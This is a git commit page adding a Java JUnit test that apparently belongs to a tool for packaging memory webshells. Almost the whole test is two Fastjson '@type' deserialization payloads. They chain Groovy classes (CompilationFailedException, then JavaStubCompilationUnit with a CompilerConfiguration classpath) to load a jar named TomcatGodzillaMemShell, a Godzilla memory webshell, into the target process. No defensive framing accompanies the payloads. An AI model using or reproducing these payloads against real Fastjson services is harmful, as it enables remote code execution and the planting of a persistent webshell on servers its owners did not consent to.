feat: support GroovyTransformJar packer

This commit is contained in:
ReaJason
2025-12-06 15:21:57 +08:00
parent cf75b8b7d7
commit 81d9cd14f4
10 changed files with 259 additions and 27 deletions
@@ -0,0 +1,35 @@
import com.alibaba.fastjson.JSONObject;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/12/6
*/
class FastjsonServletTest {
@Test
void test() {
String json = "{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{\n" +
" }\n" +
"}";
try {
JSONObject.parse(json);
} catch (Exception e) {
//e.printStackTrace();
}
String data = "{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":[\"file:/Users/reajason/Downloads/TomcatGodzillaMemShell.jar\"]\n" +
" },\n" +
" \"gcl\":null,\n" +
" \"destDir\": \"/tmp\"\n" +
"}";
// JSONObject.parse(data);
}
}